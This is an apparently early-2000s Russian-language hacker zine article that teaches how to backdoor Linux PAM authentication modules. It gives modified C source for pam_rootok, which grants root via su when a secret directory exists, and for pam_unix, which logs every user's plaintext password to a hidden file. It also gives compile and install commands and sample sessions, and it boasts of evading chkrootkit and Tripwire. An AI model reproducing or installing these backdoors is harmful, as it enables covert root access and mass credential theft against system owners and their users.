-----------------------------------------
#! /usr/share/doc/defaced/2/tandp/pam.txt
-----------------------------------------

-------------------------
PAM patching (full st0ry) [ by JLx [ZUD] ]
-------------------------


--------------------// Contents:
 
  > About PAM + idea
 
  > Xmpl #1   /* g0t r00t via su */
  
  > Xmpl #2  /* system login sniffer */
  
  > See also

  > Notes  /* READ BEFORE ANY EXPERIMENTS!!! */	


--------------------// About PAM + idea

Для   начала   несколько   слов   о  PAM.  Эта  абревиатура  означает  Pluggable
Authentication  Module,  то  есть подгружаемый модуль аутентификации. Сейчас pam
используется   почти   во  всех  unix-like  системах  (хотя  в  некоторых  новых
дистрибутивах в него внесено много изменений). Схематически вот как он работает:

(Progz)            (System philez)
login --->PAM ---> /etc/passwd
su -----|      |-> /etc/shadow 
passwd -|	   |-> ...	        
...    -|      

Объясню  на  примере  system login'a: прога запрашивает login и pass, и передаёт
эту  инфу  PAM'у.  Тот  проверяет  пароль,  пишет  сообщения в логах. Вот пример
удобства  pam'a:  если  вы  решили  криптовать  пароли  в  MD5, а не в DES'е, то
придётся  перекомпилить  ВСЕ проги, которые используют /etc/{passwd|shadow|etc},
просто поменяйте модуль pam!
Конфиги  pam'а находятся в файле /etc/pam.conf, или в /etc/pam.d/*, или и тут, и
там  одновременно. А сами модули лежат в /lib/security (во многих линухах) или в
/usr/lib/security  (многие BSD системы) в виде pam_*.so. Ну и конечно, связующий
модуль libpam.so.*, который обычно расположен в {/lib|/usr/lib}.                   
 
Итак,  pam имеет важную роль в системе. Он отвечает не только за аутентификацию,
но  и  за  логирование, etc. А что, если пропатчить pam? Тогда мы получим мощный
бекдор,  который во-первых, НЕ ПРОСТО обнаружить (FUCK off Chkrootkit). TripWire
тоже отдыхает, если админ не догадается проверять модули pam'a %)


                      
--------------------// Xmpl #1 
  
Итак,  самый  простой  пример - патчинг pam-модуля таким образом, чтобы получать
рута через su. Первое, что я сделал:

$ cat /etc/pam.d/su

# su authentication. Root is granted access by default.
#
su      auth     sufficient     pam_rootok.so
su      auth     required       pam_unix_auth.so
...

Тут  можно  и догадаться для чего нужен pam_rootok.so. Он проверяет, является ли
клиент рутом ( getuid()==0 ) и если да, то su не будет спрашивать пароль. Значит
патчить  будем  именно  его. Берём исходник, смотрим... Выглядит довольно просто
(<200 строк кода).Так в общем и есть. LeTz g0:

#include <sys/types.h> 
#include <sys/stat.h> 

#define HACKFILE "/tmp/DefaCedZin3"

/* ^^^ это в начало pam_rootok.c  */

...

PAM_EXTERN
int pam_sm_authenticate(pam_handle_t *pamh,int flags,int argc
			,const char **argv)
{            /*  главная функция  */     
    int ctrl;
    int retval = PAM_AUTH_ERR;
    struct stat sucker;
    char cmd_hack[strlen(HACKFILE)+10]; 

    ctrl = _pam_parse(argc, argv);
    lstat(HACKFILE,&sucker);

    if(S_ISDIR(sucker.st_mode) || (getuid()==0)){   /* g0t r00t */
	    retval = PAM_SUCCESS;
	    sprintf(cmd_hack,"rm -rf %s",HACKFILE); 
	    system(cmd_hack);   /*  затираем директорию-ключ  */
	}

...

Так, всё просто. Далее:

$ gcc -o new_pam_rootok.so -shared pam_rootok.c
$ mv -f /lib/security/pam_rootok.so /lib/security/pam_rootok.bak  # safety first
$ mv new_pam_rootok.so /lib/security/pam_rootok.so
$ id
uid=666(sucker) gid=666(sucker) 
$ mkdir /tmp/DefaCedZin3
$ su root

# id
uid=0(root) gid=0(root)

Вот так...



--------------------// Xmpl #2

Ну,  а  что  если  нам  нужны  пароли  всех  пользователей системы? Тогда лучшим
решением  будет  пропатчить  модули  системного  login'a. Тут несколько сложнее:
pam_unix.so,  главный  модуль  pam'a,  который  отвечает  за аутентификацию всех
пользователей. Он слинковывается из множества файлов. Главных всего четыре:

pam_unix_auth.c
pam_unix_acct.c
pam_unix_passwd.c
pam_unix_sess.c

Сейчас понадобится только первый.

PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags
				   ,int argc, const char **argv)
/* ^^^ вот нужная функция  */
{
	unsigned int ctrl;
	int retval, *ret_data = NULL;
	const char *name, *p;
      static int sux;
...
D(("user=%s, password=[%s]", name, p));  /*  4 debug...  */
	
#define SNIFLOG "/bla-bla-bla/.my_secret_phile"
	/* verify the password of this user */
	sux = fopen(SNIFLOG,"a");
	fprintf(sux,"%s : %s\n",name,p);    /*  its easy ;)  */
	fclose(sux);
	retval = _unix_verify_password(pamh, name, p, ctrl);
...

Всё просто. Теперь инсталим модуль:
$ pwd
/usr/src/RPM/SOURCE/linuxPAM-0.75/modules/pam_unix
$ make
<gcc's output>
$ ls | grep .so
pam_unix.so
$ mv -f /lib/security/pam_unix.so /lib/security/pam_unix.bak # BACKUP MUSTHAVE!!!!   
$ mv pam_unix.so /lib/security/
$ telnet 127.0.0.1  # test...
Connected to localhost
Escape character is ^]
WELCOME TO MY LINUX BOX!
login: root
Password: 1m_lamah
# cat /bla-bla-bla/.my_secret_phile  # letz l00k
root  1m_lamah
# 

Кстати, в  RedHat линухах и совместимых с ним (типа Mdk) pam_unix.so  берётся из 
pam_pwdb. То есть патчить надо именно его:

$ pwd
/usr/src/RPM/SOURCE/linuxPAM-0.75/modules/pam_pwdb
$ make
$ mv pam_pwdb.so /lib/security/pam_unix.so


Скоро у нас на сайте появится полностью доработанный троян для linux  RedHat/Mdk
c большим  количеством функций. А позже мы портируем его и под FreeBSD.


--------------------// See also

Любому, кто решит патчить pam'ы стоит прочитать это:

  - rfc 86.0 "UNIFIED LOGIN WITH PLUGGABLE AUTHENTICATION MODULES (PAM)"
  - The LINUX-PAM System Administrator's Guide
  - The LINUX-PAM Module Writer's Guide
  - The LINUX-PAM Application Developer's Manual
  - manz: pam, pam.conf, pam.d, etc 

Почти всегда эти доки можно найти в архиве с pam'ом. Так что тут проблем быть не
должно.



--------------------// Notes

Ну   а   теперь  самое  время  поговорить  о  том,  что  может  случиться  после
экспериментов с модулями pam'a. Скорее всего случится что-то подобное:

  - грохнется один из модулей 
  - будет потёрт конфиг PAM'a (/etc/pam.d || /etc/pam.conf || etc)

(Хех,  я  своего  пингвина грохал первым способом 2 раза %). При таких раскладах
получится, что в систему залогиниться НЕЛЬЗЯ!!! Тогда что делать?

1.  Если есть lilo, то ребутнуть свой ящик и загрузить линух в режиме одиночного
пользователя (root'a ;). Это делается так:

<booting...>
LILO boot: linux single

2.  Загрузиться  с  дискеты/диска  и смонтировать раздел, в котором лежит дохлый
пингвин.

После  любого  из  этих  способов  придётся  восстанавливать либо весь pam, либо
только  нужный  конфиг.  Поэтому  ВСЕГДА  надо делать бекапы pam'a!!! Да, и ещё.
Часто  очень  большое  значение играет версия PAM'a. Поэтому не стоит ставить на
систему с версией 0.53 вешать 0.75'ый.

Удачи!
________________________________________________________________________________
www.zudteam.org                                  JLx [ZUD], [email protected]